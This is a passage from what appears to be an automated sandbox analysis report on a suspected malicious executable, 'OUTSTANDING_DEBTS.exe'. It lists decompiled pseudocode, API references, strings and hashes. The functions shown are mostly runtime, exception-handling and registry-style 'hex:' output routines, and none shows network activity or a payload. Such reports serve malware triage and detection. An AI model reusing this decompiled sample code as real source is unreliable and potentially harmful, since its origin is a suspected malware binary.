				WCHAR* _t65;

				_t56 = __edx;
				_t47 = _a4;
				if(_t47 != 0) {
					__eflags = _t47 - 2;
					if(_t47 == 2) {
						L5:
						GetModuleFileNameW(0, 0xca45d8, 0x104);
						_t25 =  *0xca480c; // 0x2e71c3e
						 *0xca47f8 = 0xca45d8;
						_v20 = _t25;
						__eflags = _t25;
						if(_t25 == 0) {
							L7:
							_t25 = 0xca45d8;
							_v20 = 0xca45d8;
							L8:
							_v8 = 0;
							_v16 = 0;
							_t63 = E00C76D7D(E00C76A5F(_t25, 0, 0,  &_v8,  &_v16), _v8, _v16, 2);
							__eflags = _t63;
							if(__eflags != 0) {
								E00C76A5F(_v20, _t63, _t63 + _v8 * 4,  &_v8,  &_v16);
								__eflags = _t47 - 1;
								if(_t47 != 1) {
									_v12 = 0;
									_push( &_v12);
									_t48 = E00C81945(_t47, _t56, 0, _t63, _t63);
									__eflags = _t48;
									if(_t48 == 0) {
										_t57 = _v12;
										_t53 = 0;
										_t35 = _t57;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											L17:
											_t36 = 0;
											 *0xca47fc = _t53;
											_v12 = 0;
											_t48 = 0;
											 *0xca4804 = _t57;
											L18:
											E00C7CA6E(_t36);
											_v12 = 0;
											L19:
											E00C7CA6E(_t63);
											_t39 = _t48;
											L20:
											return _t39;
										} else {
											goto L16;
										}
										do {
											L16:
											_t35 =  &(_t35[1]);
											_t53 =  &(_t53[0]);
											__eflags =  *_t35;
										} while ( *_t35 != 0);
										goto L17;
									}
									_t36 = _v12;
									goto L18;
								}
								_t41 = _v8 - 1;
								__eflags = _t41;
								 *0xca47fc = _t41;
								_t42 = _t63;
								_t63 = 0;
								 *0xca4804 = _t42;
								L12:
								_t48 = 0;
								goto L19;
							}
							_t43 = E00C61D29(__eflags);
							_push(0xc);
							_pop(0);
							 *_t43 = 0;
							goto L12;
						}
						__eflags =  *_t25;
						if( *_t25 != 0) {
							goto L8;
						}
						goto L7;
					}
					__eflags = _t47 - 1;
					if(__eflags == 0) {
						goto L5;
					}
					_t44 = E00C61D29(__eflags);
					_t65 = 0x16;
					 *_t44 = _t65;
					E00C7B8E7();
					_t39 = _t65;
					goto L20;
				}
				return 0;
			}

0x00c76783
0x00c7678c
0x00c76791
0x00c7679b
0x00c7679e
0x00c767bb
0x00c767ca
0x00c767d0
0x00c767d5
0x00c767db
0x00c767de
0x00c767e0
0x00c767e7
0x00c767e7
0x00c767e9
0x00c767ec
0x00c767ef
0x00c767f6
0x00c7680f
0x00c76814
0x00c76816
0x00c76837
0x00c7683f
0x00c76842
0x00c7685d
0x00c76860
0x00c76867
0x00c7686b
0x00c7686d
0x00c76874
0x00c76877
0x00c76879
0x00c7687b
0x00c7687d
0x00c76887
0x00c76887
0x00c76889
0x00c7688f
0x00c76892
0x00c76894
0x00c7689a
0x00c7689b
0x00c768a1
0x00c768a4
0x00c768a5
0x00c768ab
0x00c768ae
0x00000000
0x00000000
0x00000000
0x00000000
0x00c7687f
0x00c7687f
0x00c7687f
0x00c76882
0x00c76883
0x00c76883
0x00000000
0x00c7687f
0x00c7686f
0x00000000
0x00c7686f
0x00c76847
0x00c76847
0x00c76848
0x00c7684d
0x00c7684f
0x00c76851
0x00c76856
0x00c76856
0x00000000
0x00c76856
0x00c76818
0x00c7681d
0x00c7681f
0x00c76820
0x00000000
0x00c76820
0x00c767e2
0x00c767e5
0x00000000
0x00000000
0x00000000
0x00c767e5
0x00c767a0
0x00c767a3
0x00000000
0x00000000
0x00c767a5
0x00c767ac
0x00c767ad
0x00c767af
0x00c767b4
0x00000000
0x00c767b4
0x00000000

Strings

C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe, xrefs: 00C767C1, 00C767C8, 00C767FC

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: C:\Users\user\Desktop\OUTSTANDING_DEBTS.exe
API String ID: 0-3521313881
Opcode ID: d77973f70891dd5610a8efa7addee8a94c1c29e9bdd5ff5c82c63fe5b3326a81
Instruction ID: 23cc24beb264515f9283ff74a7749db9b98b0d19857fd3dd08dd14076fc02fb8
Opcode Fuzzy Hash: d77973f70891dd5610a8efa7addee8a94c1c29e9bdd5ff5c82c63fe5b3326a81
Instruction Fuzzy Hash: 2F31C270E00619AFCB25DF9ACC81E9EBBFCEB85714B14806AE818E7251D7B08E40DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C60DA5, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00C60DA5(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_push(_t121);
					_push(_t113);
					_t75 = E00C58862(_t96, __ecx, __edx, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E00C58862(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E00C5FEA8(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E00C5FDDB(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E00C6097B(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E00C7A820(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x00c60da5
0x00c60da5
0x00c60dac
0x00c60db5
0x00c60ed4
0x00c60dbb
0x00c60dbb
0x00c60dbc
0x00c60dbd
0x00c60dc7
0x00c60dca
0x00c60dd0
0x00c60dda
0x00c60dff
0x00c60e04
0x00c60e09
0x00c60ed0
0x00000000
0x00c60ed1
0x00c60e09
0x00c60dda
0x00c60e0f
0x00c60e12
0x00c60e15
0x00c60e1b
0x00c60e21
0x00c60e33
0x00c60e38
0x00c60e3b
0x00c60e3e
0x00c60e41
0x00c60e44
0x00c60e4a
0x00c60e50
0x00c60e53
0x00c60e56
0x00c60e65
0x00c60e66
0x00c60e66
0x00c60e6b
0x00c60e7e
0x00c60e80
0x00c60e85
0x00c60e90
0x00c60e92
0x00c60e94
0x00c60eb0
0x00c60eb5
0x00c60eb8
0x00c60eb8
0x00c60e90
0x00c60e85
0x00c60ebe
0x00c60ebf
0x00c60ec2
0x00c60ec5
0x00c60ec8
0x00c60ecb
0x00c60e56
0x00000000
0x00c60e4a
0x00c60ed5
0x00c60eda
0x00c60ede
0x00c60ee1
0x00c60ee2
0x00c60ee3
0x00c60ee4
0x00c60ee9
0x00c60f61
0x00c60f63
0x00c60eeb
0x00c60eeb
0x00c60ef1
0x00000000
0x00c60ef3
0x00c60ef6
0x00c60ef9
0x00c60f00
0x00c60f03
0x00c60f07
0x00c60f39
0x00c60f3c
0x00c60f43
0x00c60f49
0x00c60f53
0x00c60f5c
0x00c60f5c
0x00c60f53
0x00c60f49
0x00c60f5d
0x00c60f09
0x00c60f09
0x00c60f09
0x00c60f0c
0x00c60f0c
0x00c60f10
0x00000000
0x00000000
0x00c60f14
0x00c60f28
0x00c60f28
0x00c60f16
0x00c60f16
0x00c60f1c
0x00000000
0x00c60f1e
0x00c60f1e
0x00c60f21
0x00c60f26
0x00000000
0x00000000
0x00000000
0x00000000
0x00c60f26
0x00c60f1c
0x00c60f31
0x00c60f33
0x00000000
0x00c60f35
0x00c60f35
0x00c60f35
0x00000000
0x00c60f33
0x00c60f2c
0x00c60f2e
0x00000000
0x00c60f2e
0x00000000
0x00000000
0x00000000
0x00c60ef9
0x00c60ef1
0x00c60f64
0x00c60f68
0x00c60f68

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 00C60DCA
CatchIt.LIBVCRUNTIME ref: 00C60EB0

Strings

RCC, xrefs: 00C60DE4
MOC, xrefs: 00C60DDC

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 8f348b48bafb648a75d7d8864eaa96c91ec52662b27078a6d6657ffbee06da29
Instruction ID: 3f012455ee9dd0b8b803b78e8f79ecad3d030598364db4b04ab3cbbc843c368b
Opcode Fuzzy Hash: 8f348b48bafb648a75d7d8864eaa96c91ec52662b27078a6d6657ffbee06da29
Instruction Fuzzy Hash: 63418B32900219AFCF25CF94CD81AEE7BB5FF48300F288459F915B7261D3369A61DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C52450, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00C52450(intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				void* _t45;
				intOrPtr _t46;
				intOrPtr _t49;
				signed int _t50;
				void* _t53;
				signed int _t54;
				void* _t85;
				void* _t86;
				void* _t87;

				_t63 = _a4;
				_t45 = E00C52560(_a4, _a4, _a12);
				_t86 = _t85 + 8;
				_t46 = _t45 + _a16;
				_a16 = _t46;
				if(_a24 == 0) {
					return _t46;
				}
				_v16 = _a24 - 1;
				_push(_a24 * 3 << 1);
				_t49 = E00C53330(_t63);
				_t87 = _t86 + 4;
				 *_a8 = _t49;
				_v12 = 0;
				_v8 = 0;
				while(1) {
					_t50 = _v12;
					if(_t50 >= _a24) {
						break;
					}
					_t53 = E00C54AB0( *_a8 + _v8 * 2, 3, L"%02x",  *(_a20 + _v12) & 0x000000ff);
					_t87 = _t87 + 0x10;
					_t54 = _t53 + _v8;
					_v8 = _t54;
					if(_v12 == _v16) {
						return _t54;
					}
					 *((short*)( *_a8 + _v8 * 2)) = 0x2c;
					_v8 = _v8 + 1;
					 *((short*)( *_a8 + _v8 * 2)) = 0;
					_a16 = _a16 + 3;
					if(_a16 >= 0x4d) {
						E00C56400( *_a8, _a4,  *_a8);
						E00C56400( *_a8, _a4, L"\\\r\n  ");
						_t87 = _t87 + 0x10;
						_a16 = 2;
						_v8 = 0;
					}
					_v12 = _v12 + 1;
				}
				return _t50;
			}

0x00c5245a
0x00c5245e
0x00c52463
0x00c52466
0x00c52469
0x00c52470
0x00000000
0x00000000
0x00c5247d
0x00c52486
0x00c52487
0x00c5248c
0x00c52492
0x00c52494
0x00c5249b
0x00c524ad
0x00c524ad
0x00c524b3
0x00000000
0x00000000
0x00c524d6
0x00c524db
0x00c524de
0x00c524e1
0x00c524ea
0x00000000
0x00000000
0x00c524fb
0x00c52505
0x00c52512
0x00c5251c
0x00c52523
0x00c5252f
0x00c52540
0x00c52545
0x00c52548
0x00c5254f
0x00c5254f
0x00c524aa
0x00c524aa
0x00c5255e

APIs

Part of subcall function 00C52560: lstrlenW.KERNEL32(hex:,?,?,?,?,?,?,?), ref: 00C52571

_swprintf.LIBCMTD ref: 00C524D6

Strings

%02x, xrefs: 00C524C3
\ , xrefs: 00C52537
M, xrefs: 00C5251F

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _swprintflstrlen
String ID: %02x$M$\
API String ID: 3774553904-2625197773
Opcode ID: cdd61b471ad502d81c95b3f2985ea9aa76d60e4c8ab085a0615147ebb0f30d47
Instruction ID: b61df031e2d509cae1cb92e6ae93bc8fadca609dde41d9aff282d579fedae5ad
Opcode Fuzzy Hash: cdd61b471ad502d81c95b3f2985ea9aa76d60e4c8ab085a0615147ebb0f30d47
Instruction Fuzzy Hash: 2F3117B8A00108EFCB04CF94D995AAEB7B5FF89305F108099EC159B341E731AA96DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00C58282, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00C58282(void* __ebx, void* __ecx, void* __edi, intOrPtr* _a4) {
				signed int* _v8;
				signed int _v12;
				signed int _v16;
				void* __esi;
				void* __ebp;
				void* _t19;
				void* _t21;
				signed int _t26;
				signed int _t35;
				void* _t38;
				intOrPtr* _t40;
				intOrPtr* _t42;
				intOrPtr _t43;
				signed int* _t44;

				_t34 = __ecx;
				_t33 = __ebx;
				_t42 = _a4;
				_push(__edi);
				_t40 =  *_t42;
				if( *_t40 == 0xe0434352 ||  *_t40 == 0xe0434f4d) {
					_t19 = E00C58862(_t33, _t34, _t38, _t40, _t42);
					__eflags =  *(_t19 + 0x18);
					if( *(_t19 + 0x18) > 0) {
						_t21 = E00C58862(_t33, _t34, _t38, _t40, _t42);
						_t3 = _t21 + 0x18;
						 *_t3 =  *(_t21 + 0x18) - 1;
						__eflags =  *_t3;
					}
				} else {
					if( *_t40 == 0xe06d7363) {
						 *((intOrPtr*)(E00C58862(__ebx, __ecx, _t38, _t40, _t42) + 0x10)) = _t40;
						_t43 =  *((intOrPtr*)(_t42 + 4));
						 *((intOrPtr*)(E00C58862(__ebx, __ecx, _t38, _t40, _t43) + 0x14)) = _t43;
						E00C7A130(__ebx, __ecx, _t38, _t40, _t43, __eflags);
						asm("int3");
						_push(__ecx);
						_push(__ecx);
						_push(_t43);
						_t44 = _v8;
						 *_t44 =  *_t44 & 0x00000000;
						_t26 =  *(E00C58862(_t33, __ecx, _t38, _t40, _t44) + 0x10);
						__eflags = _t26;
						if(_t26 == 0) {
							L12:
							__eflags = 0;
							return 0;
						}
						_t35 =  *(_t26 + 0x1c);
						__eflags = _t35;
						if(_t35 == 0) {
							goto L12;
						}
						__eflags =  *_t35 & 0x00000010;
						if(( *_t35 & 0x00000010) == 0) {
							_t15 =  &_v12;
							 *_t15 = _v12 & 0x00000000;
							__eflags =  *_t15;
							_v16 = _t26;
							 *_t44 = E00C58344(_t40, 0xca3940,  &_v16);
							goto L12;
						}
						return  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t26 + 0x18)))) - 4));
					} else {
					}
				}
				return 0;
			}

0x00c58282
0x00c58282
0x00c58286
0x00c58289
0x00c5828a
0x00c58292
0x00c582a6
0x00c582ab
0x00c582af
0x00c582b1
0x00c582b6
0x00c582b6
0x00c582b6
0x00c582b6
0x00c5829c
0x00c582a2
0x00c582c4
0x00c582c7
0x00c582cf
0x00c582d2
0x00c582d7
0x00c582db
0x00c582dc
0x00c582dd
0x00c582de
0x00c582e1
0x00c582e9
0x00c582ec
0x00c582ee
0x00c5831f
0x00c5831f
0x00000000
0x00c5831f
0x00c582f0
0x00c582f3
0x00c582f5
0x00000000
0x00000000
0x00c582f7
0x00c582fa
0x00c58306
0x00c58306
0x00c58306
0x00c5830a
0x00c5831d
0x00000000
0x00c5831d
0x00000000
0x00000000
0x00c582a4
0x00c582a2
0x00c582be

APIs

__is_exception_typeof.LIBVCRUNTIME ref: 00C58316

Strings

MOC, xrefs: 00C58294
RCC, xrefs: 00C5828C
csm, xrefs: 00C5829C

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: __is_exception_typeof
String ID: MOC$RCC$csm
API String ID: 3140442014-2671469338
Opcode ID: f6d726d9226ef70a219061f59d3d7292288d3d6d164c2625cce8cb98030f2c37
Instruction ID: 8c131cc221050b0c73747336a894f3f673c76594342e6c7613c395efc930852c
Opcode Fuzzy Hash: f6d726d9226ef70a219061f59d3d7292288d3d6d164c2625cce8cb98030f2c37
Instruction Fuzzy Hash: 2111B239504205DFD718AF56C805A99BBE8EF00B13F154099EC40AB261EFB4EECCDB99

Uniqueness

Uniqueness Score: -1.00%

Function 00C52560, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00C52560(void* __ecx, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				int _v12;

				_t19 = __ecx;
				if(_a8 != 3) {
					_push(0x1e);
					_v8 = E00C53330(__ecx);
					_v12 = E00C54AB0(_v8, 0xf, L"hex(%x):", _a8);
					E00C56400(_a4, _a4, _v8);
				} else {
					_v12 = lstrlenW(L"hex:");
					E00C56400(_t19, _a4, L"hex:");
				}
				return _v12;
			}

0x00c52560
0x00c5256a
0x00c5258d
0x00c52597
0x00c525b1
0x00c525bc
0x00c5256c
0x00c52577
0x00c52583
0x00c52588
0x00c525ca

APIs

lstrlenW.KERNEL32(hex:,?,?,?,?,?,?,?), ref: 00C52571

Part of subcall function 00C56400: lstrlenW.KERNEL32(00C525C1,?,00000000,?,?,00C525C1,?,?), ref: 00C5640E
Part of subcall function 00C56400: WriteFile.KERNEL32(?,00C525C1,00000000,?,00C525C1,?,?), ref: 00C5641F

_swprintf.LIBCMTD ref: 00C525A9

Strings

hex(%x):, xrefs: 00C5259E
hex:, xrefs: 00C5256C, 00C5257A

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$FileWrite_swprintf
String ID: hex(%x):$hex:
API String ID: 2966740098-506250457
Opcode ID: e94785878f5de85b7d7b1845c3abca66d7624c0cf406b9fcf5088b62bc2e352c
Instruction ID: 8448227996218675fa40c07e49ebc3f999e923b4e512b1e37f52cbf718c5cc76
Opcode Fuzzy Hash: e94785878f5de85b7d7b1845c3abca66d7624c0cf406b9fcf5088b62bc2e352c
Instruction Fuzzy Hash: ACF0AFBDD00208BBDF00EFA8EC469AD77B4DB04705F4081A8FC085B241F6709B959BA6

Uniqueness

Uniqueness Score: -1.00%

Function 00C525D0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32
stringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00C525D0(void* __ecx, intOrPtr _a4, WCHAR* _a8) {
				intOrPtr _v8;
				int _t11;

				_push(__ecx);
				_t11 = lstrlenW(_a8);
				_t3 = _t11 + 0xe; // 0xe
				_push(_t11 + _t3);
				_v8 = E00C53330(_t11 + _t3);
				E00C54AB0(_v8, lstrlenW(_a8) + 7, L"\r\n[%s]\r\n", _a8);
				return E00C56400(_v8, _a4, _v8);
			}

0x00c525d3
0x00c525d8
0x00c525de
0x00c525e2
0x00c525eb
0x00c52609
0x00c52624

APIs

lstrlenW.KERNEL32(?), ref: 00C525D8
lstrlenW.KERNEL32(?,[%s],?), ref: 00C525FB
_swprintf.LIBCMTD ref: 00C52609

Part of subcall function 00C54AB0: __vswprintf_s_l.LIBCONCRTD ref: 00C54ACE

Part of subcall function 00C56400: lstrlenW.KERNEL32(00C525C1,?,00000000,?,?,00C525C1,?,?), ref: 00C5640E
Part of subcall function 00C56400: WriteFile.KERNEL32(?,00C525C1,00000000,?,00C525C1,?,?), ref: 00C5641F

Strings

[%s], xrefs: 00C525F2

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$FileWrite__vswprintf_s_l_swprintf
String ID: [%s]
API String ID: 240206160-2108352628
Opcode ID: dbf83d0cdec10c5198fc03031b961a03b107e7162c93fee269a48b1db211bf88
Instruction ID: ca4aba4141e50be575b696322c156a6821efaf16eabf6a8d2df108960d3f8e30
Opcode Fuzzy Hash: dbf83d0cdec10c5198fc03031b961a03b107e7162c93fee269a48b1db211bf88
Instruction Fuzzy Hash: 0BF019FA910108BBCB04DF98EC46D6E77BCEB48315B008558F91DD7201E531EA15D7A5

Uniqueness

Uniqueness Score: -1.00%

Function 00C5FBC8, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
libraryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C5FBC8(WCHAR* _a4) {
				struct HINSTANCE__* _t4;

				_t4 = LoadLibraryExW(_a4, 0, 0x800);
				if(_t4 != 0) {
					return _t4;
				} else {
					if(GetLastError() != 0x57 || E00C61DC8(_a4, L"api-ms-", 7) == 0) {
						return 0;
					}
					return LoadLibraryExW(_a4, 0, 0);
				}
			}

0x00c5fbd5
0x00c5fbdd
0x00c5fc12
0x00c5fbdf
0x00c5fbe8
0x00000000
0x00c5fc0f
0x00c5fc0e
0x00c5fc0e

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,00C5FB83), ref: 00C5FBD5
GetLastError.KERNEL32(?,00C5FB83), ref: 00C5FBDF
LoadLibraryExW.KERNEL32(?,00000000,00000000), ref: 00C5FC07

Strings

api-ms-, xrefs: 00C5FBEC

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: b30a70285e3ceff5557cf1aac2d1da4d0839907dab1657bcec0870dbed567353
Instruction ID: 40d93f6d09337cee65f6a4c447038ca6c1d3f78d8d6ee846dc3f72c7a6a4fb3f
Opcode Fuzzy Hash: b30a70285e3ceff5557cf1aac2d1da4d0839907dab1657bcec0870dbed567353
Instruction Fuzzy Hash: 67E04F30680208B7EF211BA1EC0AF1C3E5CEB04B51F149035FD1DA80E1D772AAA6D598

Uniqueness

Uniqueness Score: -1.00%

Function 00C5B971, Relevance: 6.2, APIs: 4, Instructions: 201
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00C5B971(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _t81;
				signed int _t82;
				signed int* _t84;
				signed int _t86;
				signed int _t91;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t102;
				void* _t107;
				signed int* _t108;
				signed int _t111;
				signed int* _t113;
				signed int _t120;
				signed int _t125;
				signed int _t126;
				signed int _t129;
				void* _t135;
				signed int _t150;
				signed int _t154;
				void* _t155;

				_t147 = __edi;
				_push(0x28);
				E00C958A5(0xc97ff0, __ebx, __edi, __esi);
				 *0xca3e50 =  *0xca3e50 + 1;
				_t81 =  *0xca3e40; // 0x0
				 *((intOrPtr*)(_t155 - 4)) = 0;
				if((0x00002000 & _t81) == 0) {
					_t82 =  *0xca3e38; // 0x0
					_t126 =  *_t82;
					__eflags = _t126 - 0x3f;
					if(_t126 != 0x3f) {
						__eflags = _t126;
						if(_t126 == 0) {
							E00C58F7B( *(_t155 + 8), 1);
							L43:
							_t84 =  *(_t155 + 8);
							L44:
							 *0xca3e50 =  *0xca3e50 - 1;
							return E00C95873(_t84);
						}
						_t84 =  *(_t155 + 8);
						_t84[1] = 0;
						_t84[1] = 2;
						 *_t84 = 0;
						goto L44;
					}
					_t86 = _t82 + 1;
					 *0xca3e38 = _t86;
					__eflags =  *_t86 - _t126;
					if( *_t86 != _t126) {
						L10:
						E00C5DFE4(0, _t147, _t155 - 0x18);
						_t154 =  *(_t155 - 0x18);
						_t125 =  *(_t155 - 0x14);
						__eflags = _t154;
						if(_t154 == 0) {
							L13:
							_t17 = _t155 - 0x10;
							 *_t17 =  *(_t155 - 0x10) & 0x00000000;
							__eflags =  *_t17;
							L14:
							_t150 = _t125 >> 0x0000000f & 1;
							__eflags = _t125 - 1;
							if(_t125 <= 1) {
								_t91 =  *0xca3e38; // 0x0
								_t92 =  *_t91;
								__eflags = _t92;
								if(_t92 == 0) {
									L24:
									_t129 =  *(_t155 - 0x10);
									__eflags = _t129;
									if(_t129 != 0) {
										__eflags = _t154;
										if(_t154 != 0) {
											_t125 = _t125 | 0x00000200;
											__eflags = _t125;
											 *(_t155 - 0x14) = _t125;
										}
									}
									__eflags = _t150;
									if(_t150 != 0) {
										_t125 = _t125 | 0x00008000;
										__eflags = _t125;
										 *(_t155 - 0x14) = _t125;
									}
									__eflags = _t154;
